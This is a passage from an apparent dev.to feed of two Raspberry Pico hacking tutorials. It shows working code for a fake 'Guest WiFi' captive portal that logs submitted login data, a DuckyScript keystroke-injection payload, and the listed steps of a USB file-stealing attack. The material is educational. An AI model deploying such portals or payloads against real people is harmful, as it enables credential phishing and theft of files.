&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/connecttest.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hotspot_connecttest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;connect_test&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;start_portal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;index.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Guest WiFi&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
  &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Login Attempt &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/style.css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;style&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;style.css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Content-Type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text/css&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="nd"&gt;@server.catchall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;catchall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Not found&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;log_to_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;localtime&lt;/span&gt;&lt;span class="p"&gt;())])&lt;/span&gt;
    &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;LOG_PATH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
          &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;starting captive portal ...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;ap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;access_point&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SSID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ifconfig&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;dns&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run_catchall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;access point ip: #&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Follow Up &amp;amp; Related Projects
&lt;/h2&gt;

&lt;p&gt;To improve this project, two aspects come to my mind. First, adding a SSL certificate to ensure an encrypted connection. The phew library itself has no support for certificates, but there is TLS support in MicroPython with the &lt;a href="https://docs.micropython.org/en/latest/library/ssl.html" rel="noopener noreferrer"&gt;SSL/TLS module&lt;/a&gt;. However, this would mean to rewrite the framework to support TLS as well. And the second aspect is to remove the DNS redirects once a client acknowledged the conditions on the landing page. However, this is also not a use case of the phew library.&lt;/p&gt;

&lt;p&gt;Exploring other projects, the idea to implement a captive portal with the Pico W gained some traction in the open-source community.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/mthorley/wifimanager-pico" rel="noopener noreferrer"&gt;Wifimanager Pico&lt;/a&gt;: A standalone GitHub project, it creates a captive portal with a clean UI. The first step is to define the designated WiFi network for which the captive portal stores its credentials. Upon first connection, it will scan all neighboring networks, and the user selects the target and enters the credentials. When the captive portal can connect to the target successfully, its credentials are stored. Then, all new devices that connect will get the stored credentials. It would be interesting to see if information stealing and man in the middle attacks could be realized.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://picockpit.com/raspberry-pi/raspberry-pi-pico-w-captive-portal-hotspot-access-point-pop-up/" rel="noopener noreferrer"&gt;PicoW Captive Portal&lt;/a&gt;: This guide contains valuable information about the specific behavior of clients regarding captive portal webpage URLs and expected status codes. It details how recent Android smartphones, iPhones, Windows and OsX laptops search a captive portal for their credentials. This article continues to implement a captive portal also using the phew project.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/simonprickett/phewap" rel="noopener noreferrer"&gt;phewAP&lt;/a&gt;: An example project using phew to implement a captive portal, showing other features such as how to access the Pico’s hardware to make the onboard LED blink when a button on a webpage is pressed.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;A captive portal is a WiFi hotspot typically encountered at Cafes or hotels. A portal uses HTTP and DNS redirects to emerge upon a landing page. Typically, personal information and acknowledgement of usage conditions is requested on this page, and when acknowledged by the user, full access to the internet is provided. This article showed how to implement a captive portal on the Raspberry Pico W Microcontroller. You learned how to setup the Pico with MicroPython and the phew library, saw how to implement HTTP routes that mimic a captive portal, and understood how to extract device metadata during connection attempts and store personal information that users enter on the landing page.&lt;/p&gt;

</description>
      <category>raspberrypi</category>
      <category>raspberrypico</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Hacking with Raspberry Pico: Terminal Text Injection and File Stealing</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Mon, 18 May 2026 03:52:36 +0000</pubDate>
      <link>https://dev.to/admantium/hacking-with-raspberry-pico-terminal-text-injection-and-file-stealing-51cb</link>
      <guid>https://dev.to/admantium/hacking-with-raspberry-pico-terminal-text-injection-and-file-stealing-51cb</guid>
      <description>&lt;p&gt;The Raspberry Pico is a small form factor microcontroller used in several application areas: DIY sensor capture, controlling screens, and even for hacking. With full access to its USB stack via MicroPython/CircuitPython and an additional library, the Pico can be programmed as a physical hacking device. It will act as an USB HID or storage device, but inject keystrokes into the host system.&lt;/p&gt;

&lt;p&gt;In my previous article &lt;a href="https://admantium.com/blog/micro24_raspberry_pico_usb_hacking" rel="noopener noreferrer"&gt;USB Hacking Device Programming&lt;/a&gt;, I showed how to setup the Pico and run an example exploit script: opening a text editor on a Linux computer and write a text message. Working on this project, I realized that the script is written in DuckyScript. The curiosity about this language, understanding its capabilities and the exploits that can be implemented, led me to investigate it further and write a &lt;a href="https://admantium.com/blog/micro25_raspberry_pico_ducky_script" rel="noopener noreferrer"&gt;concise language introduction&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;And in this final article, practical exploits are developed. The exploits use the &lt;a href="https://github.com/dbisu/pico-ducky" rel="noopener noreferrer"&gt;pico-ducky&lt;/a&gt; library, an interpreter for DuckyScript.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context for this article is &lt;code&gt;CircuitPython v9.1.4&lt;/code&gt; and &lt;code&gt;pico-ducky commit #221e796&lt;/code&gt;. The examples should work with newer releases too, but might require some code changes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/micro26_rasperry_pico_ducky_script_exploit/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploit 1: Terminal Text Injection
&lt;/h2&gt;

&lt;p&gt;The goal of the first exploit is to scare the user by opening a text terminal. Instead of just blind injecting the keystrokes, it will delay its execution, and assure that no special keys are activated - as an attempt to gauge that the user is not present&lt;/p&gt;

&lt;h3&gt;
  
  
  Requirements
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Waiting for a fixed amount of time&lt;/li&gt;
&lt;li&gt;Wait that no LED keys are pressed on the host&lt;/li&gt;
&lt;li&gt;Open a new terminal&lt;/li&gt;
&lt;li&gt;Inject a message &lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Learnings and Limitations
&lt;/h3&gt;

&lt;p&gt;During implementation of this exploit, I learned the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A global variable cannot be used as an argument to the &lt;code&gt;DELAY&lt;/code&gt; function&lt;/li&gt;
&lt;li&gt;The commands to generate random characters and numbers, like &lt;code&gt;RANDOM_NUMBER&lt;/code&gt;, are not supported&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;WAIT_FOR_CAPS_OFF&lt;/code&gt; and similar commands are not processed, the script execution just continues&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;HOLD&lt;/code&gt; and &lt;code&gt;RELEASE&lt;/code&gt; commands work as normal keystrokes only&lt;/li&gt;
&lt;li&gt;Inserting a not supported command at the end of the script stops the script execution - my choice is simple a &lt;code&gt;STOPP&lt;/code&gt; on the last line&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Implementation
&lt;/h3&gt;

&lt;p&gt;With these limitations, the exploit will merely wait for a fixed amount of time, and then execute once. As a bonus, a function is added that prints a &lt;code&gt;.&lt;/code&gt; on the screen with a fixed delay.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;REM&lt;/span&gt; &lt;span class="n"&gt;Target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;OsX&lt;/span&gt;
&lt;span class="n"&gt;REM&lt;/span&gt; &lt;span class="n"&gt;Exploit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="n"&gt;editor&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;write&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;

&lt;span class="n"&gt;FUNCTION&lt;/span&gt; &lt;span class="nc"&gt;SCARE&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;Hello&lt;/span&gt; &lt;span class="n"&gt;World&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;
    &lt;span class="n"&gt;VAR&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TIMER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;
    &lt;span class="nc"&gt;WHILE &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TIMER&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;
        &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TIMER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;TIMER&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;
    &lt;span class="n"&gt;END_WHILE&lt;/span&gt;
&lt;span class="n"&gt;END_FUNCTION&lt;/span&gt;

&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;5000&lt;/span&gt;
&lt;span class="n"&gt;GUI&lt;/span&gt; &lt;span class="n"&gt;SPACE&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;
&lt;span class="n"&gt;STRING&lt;/span&gt; &lt;span class="n"&gt;Terminal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;
&lt;span class="n"&gt;ENTER&lt;/span&gt;
&lt;span class="n"&gt;DELAY&lt;/span&gt; &lt;span class="mi"&gt;1500&lt;/span&gt;
&lt;span class="nc"&gt;SCARE&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;STOP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Exploit 2: File Stealing
&lt;/h2&gt;

&lt;p&gt;The second exploit is built around the feature that the Pico itself can function as an USB device on the host. When inserted, it will act as both a HID and USB storage device. It will then use the hosts native scripting language to identify the home directory of its user, fetch known files, and copy them to itself.&lt;/p&gt;

&lt;h3&gt;
  
  
  Requirements
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Connect the device as HID and storage&lt;/li&gt;
&lt;li&gt;Wait a fixed amount of time&lt;/li&gt;
&lt;li&gt;Start a series of bash commands:

&lt;ul&gt;
&lt;li&gt;Open a terminal&lt;/li&gt;
&lt;li&gt;Determine the likely mount path of the Pico&lt;/li&gt;
&lt;li&gt;Access the host user document folder&lt;/li&gt;
&lt;li&gt;Search and copy known file names&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Disconnect the USB device or hide the copied files&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Learnings and Limitations
&lt;/h3&gt;

&lt;p&gt;Several more limitations became apparent during working on this sketch:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Pico W defaults to HID only mode. To turn it into an USB device, you need to modify the Pico ducky code. In &lt;code&gt;boot.py&lt;/code&gt; and &lt;code&gt;code.py&lt;/code&gt;, change all conditional checks for the Raspberry Pico W to a &lt;code&gt;False&lt;/code&gt; value, e.g. replacing &lt;code&gt;raspberry_pi_pico_w&lt;/code&gt; with &lt;code&gt;raspberry_pi_pico&lt;/code&gt;. Note that this will disable the WIFI hotspot too.&lt;/li&gt;
&lt;li&gt;There is no support for the &lt;code&gt;ATTACK_MODE&lt;/code&gt; configuration, you cannot dynamically switch between HID only and USB storage mode, and therefore not disconnect the USB drive with a script. However, you could modify the libraries source code so that after the script execution, the function call &lt;code&gt;storage.disable_usb_drive()&lt;/code&gt; is executed.&lt;/li&gt;
&lt;li&gt;When chaining multiple bash commands together, which will take some execution time, using &lt;code&gt;DELAY&lt;/code&gt; become a mandatory command&lt;/li&gt;
&lt;li&gt;You cannot use the &lt;code&gt;STRINGLN&lt;/code&gt; command&lt;/li&gt;
